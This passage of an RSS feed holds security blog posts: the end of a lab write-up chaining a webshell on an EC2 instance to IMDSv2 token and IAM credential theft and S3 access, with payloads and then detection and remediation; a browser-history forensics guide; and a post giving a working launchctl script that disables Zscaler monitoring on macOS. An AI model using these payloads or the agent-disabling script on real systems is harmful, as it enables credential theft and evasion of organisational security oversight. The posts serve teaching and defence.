bypass of IMDSv2. The attacker had enough control over the instance to request a valid IMDSv2 token and use it like a local process could.</p><h3>Proof of Concept</h3><h3>Step 1: The Vulnerable Application</h3><p>The target application accepted user input and fetched the requested URL from the server side.</p><p>This type of feature is common in web applications, but it becomes risky when the server does not properly control what it is allowed to request.</p><p>In this lab, the issue went beyond normal SSRF. The vulnerable parameter allowed command execution on the EC2 instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*YRzrKTdCQhU3BXjcNd-LdA.png" /><figcaption>The vulnerable web application accepted user-controlled input and processed it on the server side.</figcaption></figure><h3>Step 2: Confirming Command Execution</h3><p>The next step was to confirm whether commands were actually running on the EC2 instance. A basic system command was enough:</p><pre>uname -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o_12LxpTbhDVaxdONOcd2Q.png" /><figcaption>System information returned from the EC2 instance confirmed command execution</figcaption></figure><p>I also checked active network connections:</p><pre>netstat -tupln</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*0DYvIwKeBAbxxg7HYJMfXw.png" /><figcaption>Network information returned from the EC2 instance.</figcaption></figure><p>The output confirmed that the commands were executed on the EC2 instance, not on my local machine.</p><p>At this point, the issue became more serious. Once command execution was confirmed, the instance could be used to interact with local services, inspect the host, and attempt to access EC2 metadata.</p><h3>Step 3: Requesting an IMDSv2 Token</h3><p>IMDSv2 requires a session token before metadata can be accessed. The token is requested using a PUT request to the metadata token endpoint and must be included in later metadata requests.</p><p>In this lab, the request was not executed directly from my machine. It was passed through the vulnerable endpoint, which executed the command on the EC2 instance.</p><p><strong>Payload format used:</strong></p><pre>http://52.1xx.xx1.1xx/webshell?cmd=curl%20-X%20PUT%20%22http://169.254.169.254/latest/api/token%22%20-H%20%22X-aws-ec2-metadata-token-ttl-seconds:%2021600%22</pre><p>Decoded command:</p><pre>curl -X PUT &quot;http://169.254.169.254/latest/api/token&quot; \<br>  -H &quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&quot;</pre><p>The response returned an IMDSv2 token. This confirmed that the metadata service was being accessed from inside the EC2 instance.</p><p>This is also why the lab involved IMDSv2 and not IMDSv1. With IMDSv1, metadata can be queried directly. In this case, a token was required first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K9bt0YWuZt6QXrUiVpTUfQ.png" /><figcaption><em>An IMDSv2 session token was requested from inside the EC2 instance.</em></figcaption></figure><h3>Step 4: Reading EC2 Metadata</h3><p>Once the token was available, it was used to query the EC2 metadata service.</p><p><strong>Payload format used:</strong></p><pre>http://52.1xx.xx1.1xx/webshell.php?<br>cmd=curl%20-H%20%22X-aws-ec2-metadata-token:%20AXXXXXXXXX-Y-XXXX7XmLIirfXXXXXXXXXXXXxWA-AXXXXXXXXXA==%22%20http://169.254.169.254/latest/meta-data/</pre><p>The response showed available metadata categories such as:</p><pre>ami-id<br>instance-id<br>instance-type<br>network/<br>placement/<br>public-keys/<br>reservation-id<br>security-groups<br>iam/</pre><p>Most of these values are not directly sensitive by themselves, but they help an attacker understand the environment. The important entry here was iam/, because it indicated that IAM role information may be available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*BH-kbKHkQ9gRJ8RGvRyQCA.png" /><figcaption><em>Top-level EC2 metadata paths returned after supplying a valid IMDSv2 token.</em></figcaption></figure><h3>Step 5: Discovering the Attached IAM Role</h3><p>The next step was to check whether an IAM role was attached to the EC2 instance.<br><strong>Payload used to check the role:</strong></p><pre>http://52.1xx.xx1.1xx/webshell.php?<br>cmd=curl%20-H%20%22X-aws-ec2-metadata-token:%20AXXXXXXXXX-Y-XXXX7XmLIirfXXXXXXXXXXXXxWA-AXXXXXXXXXA==%22%20--raw%20http://169.254.169.254/latest/meta-data/iam/security-credentials/</pre><p>If a role is attached, this path returns the role name. The attacker can then request the temporary credentials for that role:<br><strong>Payload used to fetch credentials:</strong></p><pre>http://52.1xx.xx1.1xx/webshell.php?cmd=curl%20-H%20%22X-aws-ec2-metadata-token:%20AXXXXXXXXX-Y-XXXX7XmLIirfXXXXXXXXXXXXxWA-AXXXXXXXXXA%22%20--raw%20http://169.254.169.254/latest/meta-data/iam/security-credentials/soc_45670</pre><p>The response contains temporary AWS credentials for the role attached to the EC2 instance.</p><pre>{<br>  &quot;Code&quot;: &quot;Success&quot;,<br>  &quot;Type&quot;: &quot;AWS-HMAC&quot;,<br>  &quot;AccessKeyId&quot;: &quot;&lt;REDACTED_ACCESS_KEY_ID&gt;&quot;,<br>  &quot;SecretAccessKey&quot;: &quot;&lt;REDACTED_SECRET_ACCESS_KEY&gt;&quot;,<br>  &quot;Token&quot;: &quot;&lt;REDACTED_SESSION_TOKEN&gt;&quot;,<br>  &quot;Expiration&quot;: &quot;&lt;REDACTED_TIMESTAMP&gt;&quot;<br>}</pre><p>The response contained temporary AWS credentials for the role attached to the EC2 instance.</p><p>Although the credentials were temporary, they could still be used until they expired. If the EC2 role had broad permissions, the attacker could use those permissions during that window.</p><p>This was the moment where the incident moved from application compromise to cloud credential exposure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e5OIbWdzZSl99P0vZLsd2Q.png" /><figcaption><em>Temporary IAM role credentials returned from EC2 metadata. Sensitive values redacted.</em></figcaption></figure><h3>Step 6: Validating the Credentials</h3><p>After retrieving the temporary credentials, configure them locally:</p><pre>export AWS_ACCESS_KEY_ID=&quot;&lt;REDACTED_ACCESS_KEY_ID&gt;&quot;<br>export AWS_SECRET_ACCESS_KEY=&quot;&lt;REDACTED_SECRET_ACCESS_KEY&gt;&quot;<br>export AWS_SESSION_TOKEN=&quot;&lt;REDACTED_SESSION_TOKEN&gt;&quot;</pre><p>Then check which AWS identity the credentials belonged to:</p><pre>aws sts get-caller-identity</pre><p>This command does not grant new permissions. It only confirms that the credentials are valid and shows the AWS identity associated with them.</p><p>From an investigation point of view, this was an important event. CloudTrail records AWS API calls and includes details such as who made the request, when it happened, and the source IP address.</p><h3>Step 7: Accessing the S3 Bucket</h3><p>After validating the credentials, the attacker attempted to access an S3 bucket.</p><p>After validating the session, the next step was to check what the role could access.</p><pre>aws s3 ls s3://soc-45760/</pre><p>Then copy the object locally:</p><pre>aws s3 cp s3://soc-45760/flag.txt .</pre><p>At this point, the impact was clear.</p><p>A vulnerable web application led to command execution. Command execution allowed access to IMDSv2. IMDSv2 returned temporary IAM credentials. Those credentials were then used to access S3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SClH6LAn6aAjBveYxPARqA.png" /><figcaption><em>S3 object access using temporary IAM credentials retrieved from EC2 metadata.</em></figcaption></figure><h3>Detection and Response</h3><p>After reproducing the exploit path, I reviewed the alerting and logging trail to understand how the activity appeared during investigation.</p><p>The alert first came through Jira. From there, I moved into Sumo Logic to review the event details, source IP, affected EC2 instance, and AWS API activity. Finally, I checked the EC2 web server logs to confirm how the metadata requests were made.</p><h4>Jira Alert</h4><p>The Jira alert showed suspicious AWS activity linked to credentials associated with an EC2 instance role.</p><p>The immediate question for the SOC was:</p><blockquote><em>Why are credentials meant for an EC2 instance being used from an unexpected source?</em></blockquote><p>Instance role credentials are normally used by workloads running on the instance. When they appear from an unrelated external IP, it can indicate that the credentials were exposed and used outside the instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e5RdAAMl6kovYsrNaFDnKA.png" /><figcaption><em>Jira alert created for suspicious AWS credential usage.</em></figcaption></figure><h3>2. Sumo Logic Alert Review</h3><p>From Jira, I moved into Sumo Logic to review the alert details.</p><p>The Sumo Logic logs helped identify the affected AWS account, the EC2 instance public IP, the remote IP, and the AWS API activity linked to the temporary credentials.</p><p>This was where the investigation started to become clearer. The credentials associated with the EC2 role were being used from a remote IP, so the next step was to validate whether that IP was expected.</p><p>I checked whether the remote IP belonged to:</p><pre>An approved employee<br>An approved vendor<br>A known internal network<br>A testing or scanning activity<br>An unknown external source</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H-bKzP54g6lglPh2lbOvSQ.png" /><figcaption><em>Sumo Logic alert showing suspicious use of EC2 role credentials from a remote IP.</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VrgfD5igiaIY0cqnfhAqMg.png" /><figcaption><em>suspicious use of EC2 role credentials from a remote IP.</em></figcaption></figure><p>If the IP was not known or approved, the activity had to be treated as suspicious.</p><h3>3. Reviewing AWS API Activity</h3><p>The logs showed that the remote user invoked AWS APIs such as:</p><pre>ListUserTags<br>ListPolicies</pre><p>Depending on what else was enabled in CloudTrail, related events may also include:</p><pre>GetCallerIdentity<br>ListUsers<br>ListBucket<br>GetObject</pre><p>These events helped confirm that the credentials were not only retrieved from metadata, but were also used to interact with AWS services.</p><p>This was an important point in the investigation. Metadata access showed how the credentials were exposed, while AWS API activity showed what happened after they were used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CkyEy9Ss6o-pqn6xv-AgUA.png" /><figcaption><em>AWS API activity performed using the exposed EC2 role credentials.</em></figcaption></figure><h3>4. Root Cause From EC2 Web Logs</h3><p>The next step was to understand how the credentials were exposed.</p><p>The EC2 web server logs showed requests to the vulnerable endpoint with payloads accessing the metadata service:</p><pre>169.254.169.254/latest/api/token<br>169.254.169.254/latest/meta-data/<br>169.254.169.254/latest/meta-data/iam/security-credentials/</pre><p>This connected the AWS activity back to the vulnerable application.</p><p>The sequence was clear: the endpoint was first used to execute commands on the instance, then to request an IMDSv2 token, then to query metadata, and finally to retrieve IAM role credentials.</p><p>The root cause was not a leaked static AWS key. It was command execution combined with metadata access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b5dnq-rzZ3wYDjxJbqBRsg.png" /><figcaption><em>Web server logs showing metadata access through the vulnerable endpoint.</em></figcaption></figure><h3>5. Investigation Decision</h3><p>At this stage, the next action depended on whether the remote IP was expected.</p><p>If the IP belonged to an approved employee, vendor, internal network, or testing activity, the activity had to be validated with proper evidence such as an approval, change request, or testing window.</p><p>If the IP was unknown or not approved, the activity had to be treated as unauthorized. In that case, the affected instance and exposed credentials needed immediate containment.</p><h3>Containment</h3><p>The first goal was to stop further access while preserving evidence.</p><p>The immediate actions were:</p><pre>1. Block the suspicious source IP.<br>2. Isolate the affected EC2 instance.<br>3. Restrict or detach the exposed IAM role.<br>4. Review all CloudTrail activity by the role.<br>5. Check whether S3 objects were listed or downloaded.<br>6. Preserve web logs, Sumo Logic logs, CloudTrail logs, and instance evidence.<br>7. Disable the vulnerable endpoint.</pre><p>Since command execution was confirmed, the instance had to be treated as compromised. For production systems, rebuilding from a clean image is usually safer than trying to manually clean the server.</p><h3>Remediation</h3><p>The root cause was unsafe application behavior.</p><p>The vulnerable endpoint should be fixed so that user input cannot reach shell commands or trigger unrestricted server-side requests.</p><p>Recommended fixes:</p><pre>1. Do not pass user input directly to shell commands.<br>2. Use strict input validation.<br>3. Use allowlists for allowed URLs or domains.<br>4. Block access to internal and link-local addresses.<br>5. Prevent redirects to internal services.<br>6. Require IMDSv2 on EC2 instances.<br>7. Restrict IAM role permissions using least privilege.<br>8. Monitor unusual AWS credential usage.<br>9. Enable S3 data event logging for sensitive buckets.</pre><p>The IAM role should also be reviewed. The role should only have access to the exact AWS resources required by the application.</p><p>Avoid broad permissions like:</p><pre>&quot;s3:*&quot;<br>&quot;iam:*&quot;<br>&quot;*:*&quot;</pre><p>Use scoped permissions instead.</p><h3>Conclusion</h3><p>This lab shows how a web application issue can turn into cloud credential exposure when application security and cloud permissions overlap.</p><p>IMDSv2 was not directly bypassed. It still required a session token. The issue was that command execution on the EC2 instance allowed that token request to be made from inside the instance, where the metadata service was reachable.</p><p>Once the temporary IAM credentials were retrieved, the impact depended on the permissions attached to the EC2 role. In this case, those permissions allowed access to an S3 bucket.</p><p>The main lesson is simple:</p><pre>RCE + metadata access + useful IAM permissions = cloud resource access</pre><p>The investigation also showed why log correlation matters. The web server logs showed the metadata requests, Sumo Logic helped surface the suspicious activity, and CloudTrail showed how the temporary credentials were used.</p><p>IMDSv2 should be treated as one layer of protection, not the only control. The stronger approach is to fix the application flaw, restrict IAM permissions, monitor unusual credential usage, and review cloud activity in context.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93bc5d215c3e" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/exploiting-aws-ec2-imdsv2-metadata-through-rce-and-ssrf-93bc5d215c3e">Exploiting AWS EC2 IMDSv2 Metadata Through RCE and SSRF</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Users Lie. Databases Don’t: Querying Browser History During Incident Response]]></title>
            <link>https://osintteam.blog/users-lie-databases-dont-querying-browser-history-during-incident-response-c308793d8c6d?source=rss-76c76aa53ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/c308793d8c6d</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[browser-forensics]]></category>
            <dc:creator><![CDATA[Indranil Roy]]></dc:creator>
            <pubDate>Thu, 11 Jun 2026 08:40:03 GMT</pubDate>
            <atom:updated>2026-06-11T19:29:50.959Z</atom:updated>
            <content:encoded><![CDATA[<h4>How to retrieve and analyze Chrome, Edge, Firefox, and Safari history using XDR response actions and SQLite.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Neg55iT0J-Djf8Xy_SLjQA.png" /></figure><blockquote><strong>Note:</strong> Browser history often contains sensitive personal and business information. Only collect it when authorized, within the scope of an investigation, and according to your organization’s privacy, legal, and evidence-handling policies.</blockquote><p>If you’re working an incident, the browser is usually where the nightmare started. Whether it was a “too good to be true” phishing link or a dev looking up how to bypass your security controls on StackOverflow, the history file is your best friend. It’s the closest thing we have to a black box flight recorder for the desktop.</p><p>I’m going to show you how to retrieve browser history using Cortex XDR response actions and analyze it locally with SQLite.</p><h3>Let’s get into the workflow.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/0*vfRRFndG1kve0ZDb" /><figcaption>credit: <a href="https://giphy.com/">https://giphy.com/</a></figcaption></figure><p>Before we jump into the details, let’s talk about <em>why</em> you might want to pull browser history:</p><blockquote><strong>Incident Response: </strong>If there’s been a security breach, looking at the websites an attacker visited can give you clues about what they were after and how far they got. This can help you figure out the scope of the attack and what to do next.</blockquote><blockquote><strong>Authorized Security Investigation: </strong>Browser history helps validate whether a user clicked a suspicious link, visited attacker-controlled infrastructure, downloaded a payload, or accessed unusual web resources during a defined investigation window.</blockquote><blockquote><strong>Forensics and Investigations:</strong> If there’s a legal or regulatory investigation happening (think: a lawsuit or data breach investigation), browser history can be crucial evidence. It helps paint a picture of what the user was doing on their device at a certain time.</blockquote><blockquote><strong>Spotting Malware and Phishing:</strong> By reviewing the URLs visited, you can catch potentially dangerous sites, like phishing scams or malware-infected pages. This is especially useful for identifying threats before they spread.</blockquote><h3>Prerequisites :</h3><p>Before starting, ensure you have:</p><blockquote><strong>XDR Access:</strong> Permissions to use response actions such as File Retrieval in your XDR platform.<br><strong>Admin Privileges:</strong> Administrator access on the target endpoint for extracting browser history.<br><strong>Basic XDR Knowledge:</strong> Familiarity with your XDR platform’s interface and functionality.<br><strong>Target Endpoint Information: </strong>IP address, hostname, or system identification of the endpoint you wish to investigate.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/0*imS21Z6KnwyOHInL" /><figcaption>credit: https://giphy.com/</figcaption></figure><h3>Step 1: Identify the target endpoint</h3><p>Before collecting anything, confirm the hostname, username, operating system, browser, and approximate investigation time window.</p><h3>Step 2: Navigate to Browser History Locations</h3><h4><strong>Google Chrome</strong></h4><blockquote><strong>Windows: </strong>C:\Users\&lt;Username&gt;\AppData\Local\Google\Chrome\User Data\Default\History<br><strong>macOS: </strong>/Users/&lt;Username&gt;/Library/Application Support/Google/Chrome/Default/History<br><strong>Linux:</strong> ~/.config/google-chrome/Default/History</blockquote><h4><strong>Mozilla Firefox</strong></h4><blockquote><strong>Windows: </strong>C:\Users\ &lt;Username&gt;\AppData\Roaming\Mozilla\Firefox\Profiles\&lt;Profile Folder&gt;\places.sqlite<br><strong>macOS:</strong> /Users/&lt;Username&gt;/Library/Application Support/Firefox/Profiles/&lt;Profile Folder&gt;/places.sqlite<br><strong>Linux:</strong> ~/.mozilla/firefox/&lt;Profile Folder&gt;/places.sqlite</blockquote><h4><strong>Microsoft Edge</strong></h4><blockquote><strong>Windows:</strong> C:\Users\&lt;Username&gt;\AppData\Local\Microsoft\Edge\User Data\Default\History<br><strong>macOS:</strong>/Users/&lt;Username&gt;/Library/Application Support/Microsoft Edge/<br>Linux: ~/.config/microsoft-edge/Default/History</blockquote><h4>Safari</h4><p>Safari history is stored in History.db.</p><blockquote><strong>macOS- </strong>/Users/&lt;Username&gt;/Library/Safari/History.db</blockquote><h3>Important Note About Browser Profiles</h3><p>Chrome and Edge may not always store history under the Default profile. If the user has multiple browser profiles, check folders such as:</p><pre>Default<br>Profile 1<br>Profile 2<br>Profile 3</pre><p>For example:</p><pre>C:\Users\&lt;Username&gt;\AppData\Local\Google\Chrome\User Data\Profile 1\History</pre><p>And:</p><pre>C:\Users\&lt;Username&gt;\AppData\Local\Microsoft\Edge\User Data\Profile 1\History</pre><p>Navigate to Live terminal under <strong>Incident Response.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*FClopj2w3b1FlEaCNEnzCw.png" /></figure><p>Enter the hostname of the target endpoint in Live Terminal and click on Connect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UCfP2ZJodzVzM3ha9nbdEg.png" /></figure><h3>Step 3: Retrieve the Browser History File Using Cortex XDR</h3><p>Using Cortex XDR’s File Retrieval feature, you can retrieve the browser history database from the endpoint and analyze it locally.</p><p>1. Open the Cortex XDR console.<br>2. Navigate to <strong>Incident Response &gt; Action Center</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*1k_UbY2aI0XrBGt_ktczuw.png" /></figure><p>3. Click on <strong>New Action </strong>located on top right corner of the dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1GvxY_HLpb1iE6C2FhS2AA.png" /></figure><p>4. Select <strong>File Retrieval.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ylRZSBaLjBOPHSxek132gg.png" /></figure><p>5. Enter the full path of the browser history file. <br>For example, for Chrome on Windows:</p><blockquote>`C:\Users\&lt;Username&gt;\AppData\Local\Google\Chrome\User Data\Default\History`</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EG9iMFJdhwRGN86mLn68Fg.png" /></figure><p>Select the target endpoint and specify the path to the browser history file (e.g.,<strong>C:\Users\&lt;Username&gt;\AppData\Local\Google\Chrome\User Data\Default\History</strong>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*93xGe-pa8rt755QTN2ffLA.png" /></figure><p>Click on <strong>Done</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oyDklmtYRBfANOtwI4WiZg.png" /></figure><h3>Step 4: Extract the Retrieved File</h3><p>The retrieved file is usually downloaded as a compressed ZIP file, for example:</p><pre>chromehistory.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*VWqoWLWLxUZfQOvDO9qZjw.png" /></figure><p>Extract it using:</p><pre>unzip chromehistory.zip</pre><p>After extraction, you should see files such as <strong>entry_1_0</strong> and <strong>manifest.json</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*gd3UlBtqKdPq-1rnrOt0rw.png" /></figure><h3>Step 5: Open the History Database Using SQLite</h3><p>Navigate to the <strong>entry_1_0 </strong>directory, which contains the actual History file (a SQLite database). <br>The History file is a <strong>SQLite database</strong> that stores the browsing history.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KnscOVJtrWN4CdKl-Xk4jw.png" /></figure><p>View History in Terminal using the command</p><pre>sqlite3 History</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*4YyHrOiJgaCv7QZvFfYPAg.png" /></figure><p>Use<strong> .tables</strong> to list all tables in the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YwPUUB1Xau3vcZps40ag2g.png" /></figure><h3>Step 6: Query the Browser History</h3><p>Instead of only dumping the entire table, use focused queries that help during investigation.</p><h4>View recently visited URLs</h4><p>First, preview the `urls` table:</p><pre>sql <br>SELECT * FROM urls LIMIT 10;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vEbE4C7Iicik6SJxQD7pjg.png" /></figure><h4>View most visited URLs</h4><pre>SELECT<br>  url,<br>  title,<br>  visit_count<br>FROM urls<br>ORDER BY visit_count DESC<br>LIMIT 20;</pre><h4>Search for suspicious or investigation-related URLs</h4><pre>SELECT<br>  datetime((last_visit_time/1000000)-11644473600, &#39;unixepoch&#39;) AS last_visit_utc,<br>  url,<br>  title<br>FROM urls<br>WHERE url LIKE &#39;%login%&#39;<br>   OR url LIKE &#39;%download%&#39;<br>   OR url LIKE &#39;%pastebin%&#39;<br>   OR url LIKE &#39;%github%&#39;<br>   OR url LIKE &#39;%token%&#39;<br>ORDER BY last_visit_time DESC;</pre><h3>What Should You Look For?</h3><p>Browser history becomes useful when you connect it with the rest of the incident timeline.</p><p>Look for:</p><pre>- A suspicious domain visited shortly before an alert triggered<br>- A file download immediately after visiting an unknown site<br>- Login pages that may indicate phishing<br>- Paste sites, temporary file-sharing links, or suspicious GitHub repositories<br>- Multiple redirects before landing on the final page<br>- URLs that match domains seen in DNS, proxy, email, or EDR logs</pre><p>For example, if the user received a phishing email at 10:21 AM, opened a fake login page at 10:23 AM, and downloaded a file at 10:24 AM, browser history helps connect those events into one investigation timeline.</p><p>There are a few things to keep in mind while working with browser history:</p><pre>- Browser history files may be locked if the browser is still running.<br>- Chrome and Edge may have multiple profiles, not just `Default`.<br>- Private or incognito browsing usually does not appear in normal browser history.<br>- Timestamps may be stored in UTC, so convert them before building the final timeline.<br>- Browser history alone does not prove user intent. Always correlate it with DNS logs, proxy logs, EDR telemetry, email events, downloads, and process execution.</pre><p>Data is just noise until you put a story to it.</p><p>When I look at browser history, I’m not just looking for URLs. I’m looking for timing. Did the user visit a suspicious domain three seconds before a download happened? Did a login page appear right after a phishing email was opened? Did the same domain show up in DNS, proxy, and EDR logs?</p><p>That is where browser history becomes valuable. It helps turn scattered evidence into a timeline.</p><p>I write these guides because I wish I had them when I was starting out. If this helped you close a ticket faster, consider b<a href="https://buymeacoffee.com/indranilr">uying me a ☕</a>. It keeps the coffee flowing and the research moving.</p><figure><a href="https://www.buymeacoffee.com/indranilr"><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*klHbCaFcvx0YH0Sg.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c308793d8c6d" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/users-lie-databases-dont-querying-browser-history-during-incident-response-c308793d8c6d">Users Lie. Databases Don’t: Querying Browser History During Incident Response</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing Zscaler — How to Navigate the Web Unseen]]></title>
            <link>https://systemweakness.com/bypassing-zscaler-how-to-navigate-the-web-unseen-aaac3edcb0e2?source=rss-76c76aa53ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/aaac3edcb0e2</guid>
            <category><![CDATA[endpoint-security]]></category>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[zscaler-bypass]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-teaming]]></category>
            <dc:creator><![CDATA[Indranil Roy]]></dc:creator>
            <pubDate>Sat, 11 Apr 2026 12:08:01 GMT</pubDate>
            <atom:updated>2026-04-14T08:04:22.336Z</atom:updated>
            <content:encoded><![CDATA[<p>Because who doesn’t love a good challenge?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a7TXIstYkVrwMyTf2QOFqg.png" /></figure><p>I recently spent some time under the hood of enterprise web filtering systems. My goal was simple- understand real-world behavior, responsibly document the cracks, and help security teams bridge the gap between “Compliance” and “Actual Security.”</p><p>This post isn’t a “how-to” for slackers wanting to watch Netflix at work, it’s a playbook for ethical researchers and a checklist for defenders who think their perimeter is impenetrable.</p><p><strong>Why It Matters: The False Sense of Security<br></strong>When a web gateway fails, the blast radius is massive. What looks like a minor configuration oversight isn’t just a “bug” — it’s a blind spot the size of a tractor-trailer. If an attacker can silence the watchdog (Zscaler) without triggering an alert, they aren’t just bypassing a filter; they are vanishing from the logs.</p><blockquote>Enterprise security often relies too heavily on “agent-based” trust. If your entire strategy falls apart because a user ran a .sh script, you don’t have a security strategy, you have a suggestion.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*i7J2RYqXKztNarLt.gif" /></figure><p><strong>Step 1: Enumeration (Is the Watchdog Awake?)<br></strong>Before you can bypass the system, you need to verify its state. We aren’t guessing here, we’re verifying. Open your terminal and check if the Zscaler services are actively intercepting your traffic. Check for Zscaler processes.</p><pre><br>ps -ef | grep -i zscaler</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OtaFPvaqC08EziT0iLTdmQ.png" /></figure><p>Also, check the Zscaler agent GUI in your toolbar. If you see ZscalerTunnel, ZscalerService, or the service status as “Running,” the watchdog is awake.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zTVo57wCHDnU9qd6XrYbIg.png" /></figure><p>Now, let’s see what happens when we challenge its authority.</p><p><strong>Step 2: The Bypass Script<br></strong>To disable the service, we target the management engine of the Mac itself: launchctl. This utility controls the loading and unloading of background services. Run the following script to strip Zscaler’s hooks from the OS:</p><pre>#!/bin/sh<br># Unload user-level agents<br>find /Library/LaunchAgents -name &#39;*zscaler*&#39; -exec launchctl unload {} \;<br># Unload system-level daemons (requires sudo)<br>sudo find /Library/LaunchDaemons -name &#39;*zscaler*&#39; -exec launchctl unload {} \;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kjWc74Mbo_Y6MWvRC3Q4TQ.png" /></figure><p><strong>Execution:<br></strong>Save the code as <em>kill-zscaler.sh</em>, give it executable permissions, and run it:</p><pre>sudo chmod +x kill-zscaler.sh &amp;&amp; ./kill-zscaler.sh</pre><p><em>Note: Occasionally, the OS tries to keep the process alive. If the service doesn’t drop in one go, run the script twice to disable it completely.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kgssp8TZYkjWNb1buj3YYQ.png" /></figure><p><strong>Step 3: Confirmation</strong><br>Once the script is executed, the “wall” is gone. The Zscaler tray might still be there, but it’s a ghost the background services that actually handle the heavy lifting are dead.</p><p>If you check your active processes now, the Zscaler fleet should be gone, usually leaving behind only a single, orphaned process that no longer has the teeth to intercept your traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J5v3Fg01Cuc0IFPrOAW8aA.png" /></figure><p>Now, check the source of truth: <a href="https://ip.zscaler.com/">https://ip.zscaler.com/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hm7ueDjChJYDew4EHGixbA.png" /></figure><p>The Result: You’ll likely find that Zscaler is no longer working. You are now navigating the web as a “shadow” on the corporate network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JjQyavi3T9DOWDT7IhwmPQ.png" /><figcaption>Zscaler service disabled</figcaption></figure><p>Both Private Access and Internet Access are offline.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hH0jYt0fJwN-o9g5WKPqYw.png" /></figure><p><strong>Closing the Visibility Gap:</strong><br>If you’re sitting in a SOC and this script makes your skin crawl, it should. This isn’t just a bypass; it’s a silent blackout. When a user unloads these daemons, they aren’t just breaking a rule they are effectively removing their device from your corporate reality.<br>On your dashboard, that machine might still look “compliant” because it hasn’t reported a threat. In reality, it’s gone dark.</p><p>In the next part of this post, I’ll be breaking down exactly how I configured custom detection rules and the preventative MDM steps I took to close this gap for good. If you want to see the “Shield” to this “Sword,” stay tuned.</p><p><strong>The Final Word:</strong><br>Bypassing Zscaler isn’t a magic trick, it’s a reminder that security is personal and local. You can spend millions on cloud level filtering, but if the local agent is vulnerable to a launchctl command, your “unseen” threat is already inside the house.</p><p><em>What’s the most “secure” system you’ve seen taken down by a simple shell script? Let’s swap stories in the comments.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aaac3edcb0e2" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/bypassing-zscaler-how-to-navigate-the-web-unseen-aaac3edcb0e2">Bypassing Zscaler — How to Navigate the Web Unseen</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Netcat Revolution]]></title>
            <link>https://osintteam.blog/the-netcat-revolution-94e2a20d3a04?source=rss-76c76aa53ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/94e2a20d3a04</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
